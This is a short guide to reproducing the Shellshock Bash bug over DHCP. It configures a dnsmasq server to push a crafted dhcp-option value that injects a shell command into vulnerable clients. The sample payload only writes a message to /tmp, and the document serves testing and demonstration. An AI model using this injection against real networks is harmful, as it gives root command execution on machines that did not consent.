In order to reproduce this vulnerability on *nix systems follow these steps:
Install dnsmasq. On Ubuntu machine it can be done by running following command:
sudo apt-get install dnsmasq
Add following lines to /etc/dnsmasq.conf configuration file:
interface="iface_server"
dhcp-range="ip_start","ip_end",12h
dhcp-option-force=100,() { :; }; echo 'You are going to be shocked..ShellShock !!!'>/tmp/
The vulnerable code will be inserted in dhcp-option
field of the header.
Where is network interface DHCP server will be listening on, and ip_start
, ip_end
is the range of IP addresses that server will give out.
On target machine verify that an interface is configured to use DHCP client. It can be done by looking at the /etc/network/interfaces file.
Following lines must be in the file:
auto "iface_client"
iface "iface_client" inet dhcp
On vulnerable machine enter following command:
sudo ifdown "iface_client" && sudo ifup "iface_client"
Where iface_client
is network interface DHCP client will acquire IP address for.
Note that iface_server
and iface_client
must be connected to the same network.